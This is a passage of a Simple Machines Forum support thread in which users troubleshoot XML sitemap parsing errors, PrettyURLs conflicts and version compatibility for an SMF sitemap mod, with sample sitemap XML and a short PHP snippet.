<lastmod>2012-08-17T10:12:00-05:00</lastmod>
<changefreq>hourly</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>
http://testbear1234.site88.net/math-homework-board/
</loc>
<lastmod>2012-08-17T11:19:58-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>http://testbear1234.site88.net/general-discussion/</loc>
<lastmod>2012-08-17T10:12:00-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>1.0</priority>
</url>
</urlset>



Title: Re: Sitemap
Post by: bearstreet on August 19, 2012, 12:32:58 AM
anyone, why am i getting this error?
Title: Re: Sitemap
Post by: MiY4Gi on August 19, 2012, 09:08:35 AM
What do you mean the error's on line 38? Are you referring to code that you quoted? One thing that appears to be missing from the sitemap is the document type.

Right, at the top of the sitemap document you'd normally see the following line:

<?xml version='1.0' encoding='UTF-8'?>

Or something similar. Perhaps that's the problem.
Title: Re: Sitemap
Post by: bearstreet on August 19, 2012, 09:16:31 AM
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
<url>
<loc>http://testbear1234.site88.net/index.php</loc>
<lastmod>2012-08-17T11:58:05-05:00</lastmod>
<changefreq>always</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>
http://testbear1234.site88.net/math-homework-board/math-help-online-free/
</loc>
<lastmod>2012-08-17T11:19:58-05:00</lastmod>
<changefreq>hourly</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>
http://testbear1234.site88.net/general-discussion/welcome-to-smf!/
</loc>
<lastmod>2012-08-17T10:12:00-05:00</lastmod>
<changefreq>hourly</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>
http://testbear1234.site88.net/math-homework-board/
</loc>
<lastmod>2012-08-17T11:19:58-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>http://testbear1234.site88.net/general-discussion/</loc>
<lastmod>2012-08-17T10:12:00-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>1.0</priority>
</url>
</urlset>

i get a parsing error that says that there is errror on line 38
line 38 of the code that i have pasted
and line 38 refers to </urlset>
Title: Re: Sitemap
Post by: bearstreet on August 19, 2012, 09:23:02 AM
http://www.xml-sitemaps.com/index.php?op=validate-xml-sitemap&go=1&sitemapurl=http%3A%2F%2Ftestbear1234.site88.net%2Findex.php%3Faction%3Dsitemap%3Bxml&submit=Validate

validating sitemap gives this warning
Title: Re: Sitemap
Post by: MiY4Gi on August 19, 2012, 01:49:17 PM
I really don't see anything significantly wrong with that sitemap. Did Google give you that error immediately when you submitted your sitemap URL, or only after Google tried to crawl the sitemap (i.e. a couple of days after you submitted the sitemap)?

I added my sitemap to Google a couple of minutes ago and I haven't received any error.
Title: Re: Sitemap
Post by: bearstreet on August 19, 2012, 02:03:33 PM
that was weird that google did not gave you an error

I got the error just as I submitted the sitemap

I am attaching the screenshots too, in case it might help my case

I really don't know what is wrong, why am I getting the error
Title: Re: Sitemap
Post by: MiY4Gi on August 19, 2012, 03:11:08 PM
Try giving Google the following sitemap files. Let me know if either of them works.
Title: Re: Sitemap
Post by: bearstreet on August 19, 2012, 03:15:47 PM
how do i do that ( give google sitemap files)
should I upload them to smf root and then submit to the webmaster tools?
Title: Re: Sitemap
Post by: bearstreet on August 19, 2012, 03:33:21 PM
now I get error in line 44


<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
<url>
<loc>http://testbear1234.site88.net/index.php</loc>
<lastmod>2012-08-19T14:29:46-05:00</lastmod>
<changefreq>always</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>
http://testbear1234.site88.net/math-homework-board/how-to-do-your-math-homework-online-for-free/
</loc>
<lastmod>2012-08-17T13:30:17-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>
http://testbear1234.site88.net/math-homework-board/math-help-online-free/
</loc>
<lastmod>2012-08-17T11:19:58-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>
http://testbear1234.site88.net/general-discussion/welcome-to-smf!/
</loc>
<lastmod>2012-08-19T11:01:30-05:00</lastmod>
<changefreq>hourly</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>http://testbear1234.site88.net/general-discussion/</loc>
<lastmod>2012-08-19T11:01:30-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>
http://testbear1234.site88.net/math-homework-board/
</loc>
<lastmod>2012-08-17T13:30:17-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>1.0</priority>
</url>
</urlset>
and I got two urls indexed and 6 urls submitted inspite of error
what is happening, I dont have a clue
Title: Re: Sitemap
Post by: MiY4Gi on August 19, 2012, 05:15:26 PM
Quote from: bearstreet on August 19, 2012, 03:15:47 PM
how do i do that ( give google sitemap files)
should I upload them to smf root and then submit to the webmaster tools?

Mm, I'm certain I saw a place to upload sitemap files to Google. Anyway, yes you can do it the way that you suggested. Upload both files to your site's root, then navigate to them using your browser just to check. The sitemapBR.xml file should throw an error, while the sitemap.xml file should work fine. Then submit both sitemap URLs to Google and see what Google says.
Title: Re: Sitemap
Post by: bearstreet on August 20, 2012, 12:10:15 AM
http://myanimeclub.net/index.php?action=sitemap;xml
saw your sitemap, it is just same as mine,
strange that it is not giving you any parsing errors
http://testbear1234.site88.net/sitemap%20(2).xml
happened as u said
the second sitemap file is giving no errors, but why?
it is same as what is generated by sitemap mod and submitted to google

Title: Re: Sitemap
Post by: MiY4Gi on August 20, 2012, 12:43:20 PM
Did Google give an error for either of the sitemap files I gave you?
Title: Re: Sitemap
Post by: bearstreet on August 20, 2012, 12:48:14 PM
first one it gave,
for second one, it did not gave

i was wondering if i just put the rss feeds in xml format in the sitemap submitted to google
but it shows the author's email too, any idea how to remove author's email or get my sitemap issue fixed?
your sitemap is exaclty like mine,
but you said you did not had any issues
Title: Re: Sitemap
Post by: MiY4Gi on August 20, 2012, 04:31:53 PM
Well, the first one had one problem with it. Open each file using notepad.exe and you'll see what I'm talking about. The one with the error had an empty line at the top, and I suspect that that empty line is to blame for the error's you've getting. I don't know how to fix it though, nor what could be causing it.

Have you tried uninstalling then reinstalling the sitemap mod?
Title: Re: Sitemap
Post by: bearstreet on August 20, 2012, 11:00:21 PM
yeah, even manually installed it
no help :(
Title: Re: Sitemap
Post by: bearstreet on August 23, 2012, 10:45:27 AM
I am still stuck with the sitemap problem
it gives parsing error in google webmaster tools
anyone can suggest what is wrong and how to rectify it?
really need help
Title: Re: Sitemap
Post by: Kindred on August 23, 2012, 10:50:23 AM
get rid of prettyurls and then see if it works
Title: Re: Sitemap
Post by: Suki on August 23, 2012, 10:54:49 AM
You seem to had installed 2 or more sitemap mods.

This url:  http://testbear1234.site88.net/sitemap.xml  show a sitemap generated by other mod, not this one.
Title: Re: Sitemap
Post by: bearstreet on August 23, 2012, 11:18:38 AM
Quote from: Kindred on August 23, 2012, 10:50:23 AM
get rid of prettyurls and then see if it works

no, I still get parsing errors
I validated the sitemap using sitemap validator
I made a fresh install of smf and again did it
still it is giving parsing errors
Quote from: Suki on August 23, 2012, 10:54:49 AM
You seem to had installed 2 or more sitemap mods.

This url:  http://testbear1234.site88.net/sitemap.xml  show a sitemap generated by other mod, not this one.
yeah, i installed optimus brave mod
for getting rid of sitemap problem
but still, it is not resolved.

I saw other people using this mod and they said that their sitemap did not gave any parsing error
removed optimus brave mod
Title: Re: Sitemap
Post by: bearstreet on August 23, 2012, 11:21:17 AM
this mod works with pretty urls, as it is stated in the mod notes

also edited .htaccess and removed pretty url rewrite actions
Title: Re: Sitemap
Post by: Suki on August 23, 2012, 11:22:53 AM
Installing a mod on top of another mod won't resolve any issues you may have.

Which mod, exactly, is the one you are gonna use?  this or the other?

Please don't do duplicate messages, edit your previous message if you have something more to say.
Title: Re: Sitemap
Post by: bearstreet on August 23, 2012, 11:26:40 AM
ok, will keep in mind
I wanted to use sitemap mod, this one
but it was giving parsing errors in google webmaster tools
so i disabled xml link of this sitemap mod, and used robots.txt to restrict it from crawling by search engines
then i installed optimus brave mod and submitted the sitemap in google webmaster tools
it was working fine till it started generating urls which were not pretty ulr types( the ones generated by pretty ulr) and i was redirected to index.php every time

I would love to use this mod with pretty urls
Title: Re: Sitemap
Post by: Suki on August 23, 2012, 11:29:53 AM
If you really really want to have pretty urls then take a look at simpleSEF, a cleaner mod that does take care of external urls.

If you want to use this mod then you need to uninstall whatever other mods you may had installed first before attempting to install a similar mod.
Title: Re: Sitemap
Post by: bearstreet on August 23, 2012, 11:34:35 AM
see, the problem is, I made a fresh install of smf
and then installed this mod
i am again getting parsing errors in webmaster tools
now I dont have any other mod but only this mod
and still i have parsing errors
with no pretty urls installed
Title: Re: Sitemap
Post by: Suki on August 23, 2012, 11:38:44 AM
what are those errors?  is there a link anywhere? what the url you are trying to send?

did you get any errors on install?
Title: Re: Sitemap
Post by: bearstreet on August 23, 2012, 11:47:17 AM
http://www.simplemachines.org/community/index.php?topic=170813.msg3391542#msg3391542

this was the message that i posted

i made a fresh install of smf here, and this is the sitemap for it
http://domymath.netai.net/index.php?action=sitemap;xml

I am attaching the screenshot, have a look
no mods installed, only pretty urls and this sitemap mod at this forum
I got an error while installing because I had to emulate this  mod for smf rc 2.0.4
to edit in sources/admin.php


i did it
and again, I am getting parsing errors
see the screenshot attached

Title: Re: Sitemap
Post by: MiY4Gi on August 23, 2012, 12:02:42 PM
I wonder if there isn't maybe a server configuration that's preventing Google from crawling your sitemap.

You mentioned that of of the two sitemaps I gave you, one worked, while the other didn't, right? The one that didn't work, did it give you the same error that you're currently getting with your normal forum sitemap? If it did, that means we've found part of the problem.
Title: Re: Sitemap
Post by: bearstreet on August 23, 2012, 12:05:28 PM
i wish that had been right
but it isn't

i dont understand how come it indexes 3 urls and still says parsing error
Title: Re: Sitemap
Post by: Suki on August 23, 2012, 12:07:09 PM
seems like the xaml is missing a > at the end of 

<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"

it should be:

<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">

Try editing the template to add the missing >
Title: Re: Sitemap
Post by: bearstreet on August 23, 2012, 12:11:38 PM
where to edit template?
http://domymath.netai.net/index.php?action=sitemap;xml
but there is an > at end
Title: Re: Sitemap
Post by: Suki on August 23, 2012, 12:21:35 PM
This part:


<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"


it has to be:


<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">


Please see the difference. This is why </urlset> is giving the error, because it fails to close the starting tag, there is no starting tag as far as google concerns, the W3.org validator is smarter than that and only gives a recommendation about it.

Take a look at the mod's parser to see what file to edit: Sitemap.template.php
Title: Re: Sitemap
Post by: bearstreet on August 23, 2012, 12:25:01 PM
Quote from: Suki on August 23, 2012, 12:21:35 PM
This part:


<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"


it has to be:


<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">


Please see the difference. This is why </urlset> is giving the error, because it fails to close the starting tag, there is no starting tag as far as google concerns, the W3.org validator is smarter than that and only gives a recommendation about it.

Take a look at the mod's parser to see what file to edit: Sitemap.template.php


<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">

this is exactly what I have in both of my sitemaps
http://testbear1234.site88.net/index.php?action=sitemap;xml
http://domymath.netai.net/index.php?action=sitemap;xml


UPDATE
the problem almost got fixed magically
see the screenshot
pretty ulr is enabled
and I dont know how it got resolved
just resubmitted the sitemap and it worked after i did the resubmitting for three or four times :P
don't know what is happening but now no errors
see the attachment
Title: Re: Sitemap
Post by: coregej on May 31, 2013, 09:47:33 AM
i am using the default smf theme, after emulating to 2.0.2 version .i am still seeing this

" The package you are trying to download or install is either corrupt or not compatible with this version of SMF."  :(

what will i do?

Title: Re: Sitemap
Post by: Shambles on May 31, 2013, 09:49:31 AM
Emulate to "2.0 RC4"
Title: Re: Sitemap
Post by: Theatre Publicity on August 23, 2013, 09:58:53 AM
I expected this mod's XML file to show the prettyurls as seen in the html version. Was that not the design of the XML piece?

Thanks
Title: Re: Sitemap
Post by: Suki on August 23, 2013, 12:09:54 PM
Thats not how pretty urls works, you will need to manually modify the source code that generates the xml to include pretty urls.

Because of it nature, SimpleSEF works with this and any other sitemap mod.
Title: Re: Sitemap
Post by: Theatre Publicity on August 26, 2013, 11:45:42 AM
Thank you Suki.
Title: Re: Sitemap
Post by: Fisch.666 on September 13, 2013, 07:27:50 PM
Hi,

are you sure?

I'm running PrettyURLS 1.0 on a SMF 2.0.5 board and don't need to modify anything in the PrettyURLs source to get the urls in the xml shown with pretty urls.
Title: Re: Sitemap
Post by: Rattler on October 24, 2013, 12:10:44 PM
OK, after having used this mod (on 1.1.14) for years w/o problems, and without having changed anything (did not even update to 1.1.19) but having been absent for 6 month  the sitemap suddenly won´t parse into XML anymore, I get the following error (in Spanish, I will translate below):

QuoteError de lectura XML: declaración de texto o XML en un lugar distinto del principio de la entidad
Ubicación: http://www.warandtactics.com/smf/index.php?action=sitemap;xml
Número de línea 2, columna 1:<?xml version="1.0" encoding="UTF-8"?>
^

QuoteTranslation: Reading Error XML: Declaration of text or of XML in a place different from the first line
URL: http://www.warandtactics.com/smf/index.php?action=sitemap;xml
Line 2, column 1: <?xml version="1.0" encoding="UTF-8"?>
^

Seems the declaration takes place in line 2 instead of line 1, I have checked all code in the mod files and cannot imagine what might be wrong a what might have changed (repeat: Nothing was changed from the admin side during my 6 month absence).

Any ideas?

TIA,

Rattler
Title: Re: Sitemap
Post by: Rattler on October 28, 2013, 06:18:01 AM
Bumping, anyone?

Rattler
Title: Re: Sitemap
Post by: vbgamer45 on October 28, 2013, 10:09:09 AM
Your link isn't working.
Title: Re: Sitemap
Post by: Rattler on October 30, 2013, 10:16:51 AM
Quote from: vbgamer45 on October 28, 2013, 10:09:09 AM
Your link isn't working.

Not anymore, owner decided yesterday not to pay anymore for a domain where I cannot get the sitemap working. I will be taking over the domain, but it takes time, approx. a week.

Still, any ideas anybody what might cause the behaviour explained above? Server side changes (host) that might be relevant?

TIA

Rattler
Title: Re: Sitemap
Post by: Rattler on November 01, 2013, 11:22:52 AM
Bumping, link working again:

Quote from: Rattler on October 24, 2013, 12:10:44 PM
OK, after having used this mod (on 1.1.14) for years w/o problems, and without having changed anything (did not even update to 1.1.19) but having been absent for 6 month  the sitemap suddenly won´t parse into XML anymore, I get the following error (in Spanish, I will translate below):

QuoteError de lectura XML: declaración de texto o XML en un lugar distinto del principio de la entidad
Ubicación: http://www.warandtactics.com/smf/index.php?action=sitemap;xml
Número de línea 2, columna 1:<?xml version="1.0" encoding="UTF-8"?>
^

QuoteTranslation: Reading Error XML: Declaration of text or of XML in a place different from the first line
URL: http://www.warandtactics.com/smf/index.php?action=sitemap;xml
Line 2, column 1: <?xml version="1.0" encoding="UTF-8"?>
^

Seems the declaration takes place in line 2 instead of line 1, I have checked all code in the mod files and cannot imagine what might be wrong a what might have changed (repeat: Nothing was changed from the admin side during my 6 month absence).

Any ideas?

TIA,

Rattler

Hope this helps, anybody welcome to help out, I am out of my depth.

Rattler
Title: Re: Sitemap
Post by: Thilo on November 19, 2014, 06:14:13 AM
Is anyone still using this mod ?

Well - to me it is still the best possibility to create a xml-sitemap.

But on my forum the xml-function isn't working anymore.

http://www.schwanger-online.de/forum/index.php?action=sitemap;xml

Somehow the beginning of the "<loc> - Part" is missing... ?

I'm using the PrettyURLs mod as well.

The none-xml Sitemap works just fine:
http://www.schwanger-online.de/forum/index.php?action=sitemap

If there are any other users - still using this mod - maybe you can tell me, what's wrong here...
Title: Re: Sitemap
Post by: Arantor on November 19, 2014, 06:18:33 AM
I would wonder if it's related to the Pretty URLs mod...
Title: Re: Sitemap
Post by: Thilo on November 19, 2014, 06:41:42 AM
Well - jep i don't think so as well - but on the last 2 pages of this thread it was mentioned that there might be a problem...
Title: Re: Sitemap
Post by: Thilo on November 20, 2014, 05:45:16 AM
ok - just wanted to say - that everything is working fine now with 2.0.9 and the sitemap mod from 2010 and the prettyurls.

My problem was the "news.php" file.

3 lines were commented out, which shouldn't surele not be commented...

Line 382:

   if (empty($modSettings['queryless_urls']) || ($context['server']['is_cgi'] && @ini_get('cgi.fix_pathinfo') == 0 && @get_cfg_var('cgi.fix_pathinfo') == 0) || (!$context['server']['is_apache'] && !$context['server']['is_lighttpd']))
      return $val;

   $val = preg_replace_callback('~^' . preg_quote($scripturl, '/') . '\?((?:board|topic)=[^#"]+)(#[^"]*)?$~', 'feed_fix__preg_callback', $val);
   return $val;

i don't know why this part was deactivated... ? Maybe another mod ? Who cares ... Everything is working fine now.

Thanks again for that nice sitemap mod!
Title: Re: Sitemap
Post by: Arantor on November 20, 2014, 09:13:39 AM
That would be pretty URLs deactivating it.
Title: Re: Sitemap
Post by: Fisch.666 on December 08, 2014, 01:34:46 AM
Mhhh, those lines are commented out by the PrettyURLs installation. The xml sitemap works here on a SMF 2.0.9 without commenting in those lines.
Title: Re: Sitemap
Post by: tieulinh on August 17, 2015, 10:58:38 PM
I also have problems the same as ixobixo.
Title: Re: Sitemap
Post by: Kindred on August 18, 2015, 07:34:43 AM
be more clear. never say "I have the same problem as "someone""

1st -- this thread is over 100 pages. ixobixo is not a user who has posted in this thread recently.

2nd -- I can't find the post you are referencing, but, given that the user you mention has not posted in over 2 years - it might be the same, but chances are it is a different issue altogether.
Title: Re: Sitemap
Post by: Kitarist on December 25, 2015, 01:33:37 AM
I'm using pretty urls and sitemap mod together but the sitemap still displays the default links.

http://ceriatoneforum.com/sitemap/?xml

Anyone got any clue or is there any option to activate or fix this.

Thanks :)

Title: Re: Sitemap
Post by: vbgamer45 on December 25, 2015, 02:16:12 AM
Also your sitemap is invalid due to regbar warning mod.
Title: Re: Sitemap
Post by: Kitarist on December 25, 2015, 10:35:50 AM
Just uninstalled the regbar mod and problem still persists. Also i get  "8: Undefined variable" errors in my forum report.
Title: Re: Sitemap
Post by: MESWEB on January 01, 2016, 11:05:36 AM
How to make 2 sitemap.xml files for two urls? One for http and second one for https?
Title: Re: Sitemap
Post by: Xpresskonami on December 21, 2016, 12:08:21 AM
Please Am having problem with my site google indexing, Google don't index my smf post quick. It takes up to 4/5 days before it index. How can I set the settings of the sitemap frequency or is there any solution to this????
Title: Re: Sitemap
Post by: Kindred on December 21, 2016, 08:42:38 AM
that's a google issue, not an issue with this mod....
Title: Re: Sitemap
Post by: fazeMark on December 30, 2016, 06:34:29 AM
Very useful mod for seo :) Thanks!
Title: Re: Sitemap
Post by: cieplutki on February 06, 2017, 02:28:11 PM
How to add sitemap on https page?
Title: Re: Sitemap
Post by: Kindred on February 06, 2017, 02:31:35 PM
the same way you do on a non-https page...
Title: Re: Sitemap
Post by: Seyit replikacep.com on June 06, 2017, 06:15:44 PM
smf 2.1 Why is it working in beta 2 but not in beta 3?
Title: Re: Sitemap
Post by: Seyit replikacep.com on June 12, 2017, 04:29:44 PM
No cvp giving ? ? ?
Title: Re: Sitemap
Post by: vbgamer45 on June 12, 2017, 04:38:15 PM
It's not really supported. What error are you getting in beta 3?
Title: Re: Sitemap
Post by: Seyit replikacep.com on June 12, 2017, 04:56:53 PM
Quote from: vbgamer45 on June 12, 2017, 04:38:15 PM
It's not really supported. What error are you getting in beta 3?

http://21.replikacep.com/index.php?action=sitemap;xml

Sitemap not working  He was working on beta 2

Beta 3 does not work Sitemap is very important to me
Title: Re: Sitemap
Post by: Seyit replikacep.com on June 12, 2017, 05:00:01 PM
Seo is not working either sitemap ?   One solution please

We need to solve this  :P  :-[  :-\

Number needed to resolve Sitemap  ??? Help

Title: Re: Sitemap
Post by: vbgamer45 on June 12, 2017, 05:05:46 PM
seo4smf is a different mod.

Are you using this sitemap mod? 
Title: Re: Sitemap
Post by: Seyit replikacep.com on June 12, 2017, 05:08:59 PM
Yes I use 2 synthas

I use sitemap mode :)


seo4 : I use it for link building in Seo YUUD
Title: Re: Sitemap
Post by: Seyit replikacep.com on June 12, 2017, 05:11:42 PM
I did not upgrade to beta 3 because of this sitemap
Are you helping?
Title: Re: Sitemap
Post by: Seyit replikacep.com on June 13, 2017, 03:06:18 PM
Problem sitemap or beta 3 demi running in beta 2 sitemap

Normally running beta 2


XML parsing error: incompatible format imi. expected: </link>.
Konum: http://21.replikacep.com/index.php?action=sitemap;xml
Satır: 46, Sütun: 3:</head>
--^


http://21.replikacep.com/index.php?action=sitemap;xml

not working   

Axis is running in beta 2

Beta 3 does not work   

Why does not work

If the problem is not mod, is it beta 3?
Title: Re: Sitemap
Post by: Kindred on June 13, 2017, 04:22:32 PM
Well, this is yet again, one of the main reasons why we tell people not to use beta versions on a production level site....

Betas can change things... sometime significantly 
Title: Re: Sitemap
Post by: Seyit replikacep.com on June 13, 2017, 04:41:48 PM
Quote from: Kindred on June 13, 2017, 04:22:32 PM
Well, this is yet again, one of the main reasons why we tell people not to use beta versions on a production level site....

Betas can change things... sometime significantly

I do not see any reason not to use  This mode is not updated even when Rc is released

Nobody's interested because No support Smf no help

Title: Re: Sitemap
Post by: Kindred on June 13, 2017, 04:53:07 PM
Or, more to the point... mod authors KNOW that betas will introduce changes between versions and thus do not bother doing work to make mods fit into beta versions of the software.

Simple machines itself does support the beta versions, to a point...  but we don't support MODS

Finally...   you didn't see a reason. It to use the beta? This would be one reason why...  also, beta versions have known issues and don't cycle well to upgrade between beta versions.

In other words... you were warned. You chose to ignore the warnings and now want to blame others for it.
Title: Re: Sitemap
Post by: petewadey on January 03, 2018, 11:03:01 AM
Hi. Will this mod ever be compatible with SMF 2.0.15? Or is there a similar mod that is? Thanks Pete
Title: Re: Sitemap
Post by: Kindred on January 03, 2018, 12:53:26 PM
to the best of my knowledge, this works just fine in 2.0.15
Title: Re: Sitemap
Post by: petewadey on January 03, 2018, 01:00:02 PM
It uploaded fine, but when I tried to install it said not compatible with this version. Could I have uploaded the wrong version? 2-2-1.
Title: Re: Sitemap
Post by: Kindred on January 03, 2018, 01:00:50 PM
https://wiki.simplemachines.org/smf/How_can_I_install_a_mod_that_doesn%27t_work_in_my_SMF_version
Title: Re: Sitemap
Post by: petewadey on January 03, 2018, 01:03:39 PM
Thanks. I will try that tomorrow.
Pete
Title: Re: Sitemap
Post by: petewadey on January 05, 2018, 07:44:33 AM
Thanks, that worked.
Am I right in thinking there is some way of using this mod to choose which pages get indexed by bots?
Title: Re: Sitemap
Post by: Bigguy on February 18, 2018, 03:58:31 PM
Just installed this and did do a search back in this topic for an answer but didn't find one. I am getting an error on the xml page.

XML Parsing Error: mismatched tag. Expected: </link>.
Location: http://www.whatsurbeef.net/index.php?action=sitemap;xml
Line Number 46, Column 3:


Any fix for this at all. ??? If not that's cool. :)
Title: Re: Sitemap
Post by: vbgamer45 on February 18, 2018, 04:22:54 PM
You have content above and below the xml.
For SMF 2.1 they might have changed how the output works for the headers and footers.
Title: Re: Sitemap
Post by: Bigguy on February 18, 2018, 04:31:24 PM
I understand I am using it on beta smf so I can wait for a fix. It's cool. Thanks a lot. :)
Title: Re: Sitemap
Post by: petewadey on January 05, 2019, 06:38:00 AM
I must have stupidly, accidentally deleted something from Sitemap that now stops me from uninstalling. When I try, I get this message
"This package cannot be uninstalled, because there is no uninstaller! Please contact the mod author for more information."
Can anyone help me with what I need to do to repair this?
Thanks
Title: Re: Sitemap
Post by: engrz on April 16, 2020, 01:23:25 PM
Is it possible to rename the sitemap to create new sitemap?

I have a sitemap.xml already with more than 5000 posts. Now i want to create sitemap1.xml so that this new file update from new posts.

dont want to rename old sitemap.xml because it is already updated on search engines.


is there any way?